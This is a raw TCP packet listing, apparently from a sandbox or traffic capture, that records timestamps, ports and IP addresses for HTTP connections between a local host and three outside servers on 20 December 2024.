Dec 20, 2024 02:11:41.698967934 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.699038982 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.733520985 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.733549118 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.733608007 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.733609915 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.733622074 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.733633041 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.733654976 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.733683109 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.733683109 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.733725071 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.757242918 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.757353067 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.757500887 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.757510900 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.757571936 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.757818937 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.757877111 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.758603096 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.758658886 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.758743048 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.758987904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.759869099 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.759941101 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.760014057 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.760067940 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.760934114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.761863947 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.761919975 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.762077093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.762705088 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.762756109 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.763267040 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.763335943 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.763575077 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.763737917 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.764516115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.764569044 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.765283108 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.765336037 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.765626907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.765638113 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.765682936 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.766855001 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.766906023 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.767179966 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.767230034 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.767951965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.769346952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.769357920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.769368887 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.769423008 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.769449949 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.770273924 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.770667076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.770726919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.771462917 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.771517038 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.772344112 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.772396088 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.772630930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.772643089 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.772689104 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.773787022 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.773868084 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.773909092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.773919106 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.773962975 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.774024963 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.774929047 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.774980068 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.775083065 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.775170088 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.776151896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.776674032 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.776732922 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.777299881 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.777321100 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.777379990 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.778467894 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.778539896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.778866053 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.779252052 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.779635906 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.779648066 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.779695034 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.780796051 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.780848026 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.781425953 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.781472921 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.781955957 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.782047987 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.782722950 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.782840967 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.783124924 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.783181906 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.783278942 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.783346891 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.784291029 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.784636021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.784687996 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.785502911 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.785556078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.785607100 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.786638975 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.786899090 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.787713051 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.787822962 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.788968086 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.788980007 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.789056063 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.790169001 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.790708065 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.791321039 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.792486906 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.792517900 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.792589903 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.793662071 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.793906927 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.794756889 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.794828892 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.794881105 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.795259953 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.795326948 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.795996904 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.796113968 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.797171116 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.797182083 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.797223091 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.797281981 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.797454119 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.798352003 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.798405886 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.798738956 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.798787117 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.799520969 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.799576044 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.799586058 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.799638033 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.800671101 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.801347971 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.801410913 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.801855087 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.801867008 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.801919937 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.803002119 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.803057909 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.803245068 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.803508043 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.804166079 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.804236889 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.804800987 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.804848909 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.805354118 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.805402040 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.805906057 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.805958033 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.806519985 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.806530952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.806572914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.807673931 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.807737112 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.808408022 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.808461905 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.808840990 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.808888912 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.809178114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.809226990 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.810009003 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.810571909 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.810583115 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.810641050 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.810658932 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.811229944 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.811292887 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.811306000 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.812124968 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.812135935 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.812187910 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.812203884 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.812355042 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.812365055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.812416077 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.812422991 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.812422991 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.813657999 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.813710928 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.813915014 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.813961983 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.814663887 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.814836979 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.814886093 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.814935923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.815887928 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.815952063 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.816118956 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.816168070 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.817027092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.817203999 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.817214012 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.817251921 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.817302942 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.818192959 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.818243980 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.818245888 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.822313070 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.822583914 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.822657108 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.827470064 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.828191996 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.828306913 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.832564116 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.832722902 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.832887888 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.837482929 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.837943077 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.841875076 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.842366934 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.842551947 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.842593908 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.847290993 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.847583055 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.847645044 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.852235079 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.852363110 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.852421045 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.857208967 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.857295990 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.857352018 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.862103939 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.862709045 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.862776041 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.866947889 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.868808985 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.868876934 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.871876001 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.872046947 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.872107983 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.877018929 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.877038002 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.877099037 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.881720066 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.882009983 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.882683992 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.886630058 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.886661053 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.886714935 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.891550064 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.891834974 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.891892910 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.893706083 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.896450043 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.896553040 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.896642923 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.901485920 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.901571989 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.901942015 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.903269053 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.906303883 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.938040018 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.940012932 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.949480057 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.949871063 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.949959040 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.950031996 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.950392962 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.950457096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.950553894 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.951512098 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.951586008 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.951680899 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.951987982 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.952590942 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.953861952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.953874111 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.953886032 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.953938007 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.953972101 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.954956055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.955009937 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.955233097 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.955970049 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.956140041 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.956188917 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.956701040 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.956754923 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.957293987 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.957356930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.957412958 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.958468914 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.959624052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.959638119 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.959683895 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.959719896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.959738970 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.960020065 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.960777998 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.960788965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.961292982 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.961349010 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.962058067 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.962197065 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.962251902 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.963138103 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.963413954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.963464022 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.964345932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.964359045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.964422941 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.965600967 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.965996981 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.966061115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.966650009 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.966938019 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.966991901 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.967895031 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.968966961 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.968978882 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.969019890 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.969063997 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.969228983 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.970136881 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.970190048 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.970585108 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.970635891 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.971301079 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.971378088 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.971709013 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.971766949 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.972481012 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.972640991 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.972676039 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.972707987 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.973642111 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.973699093 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.973951101 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.974004030 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.974863052 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.975301027 CET	80	49917	31.41.244.11	192.168.2.5
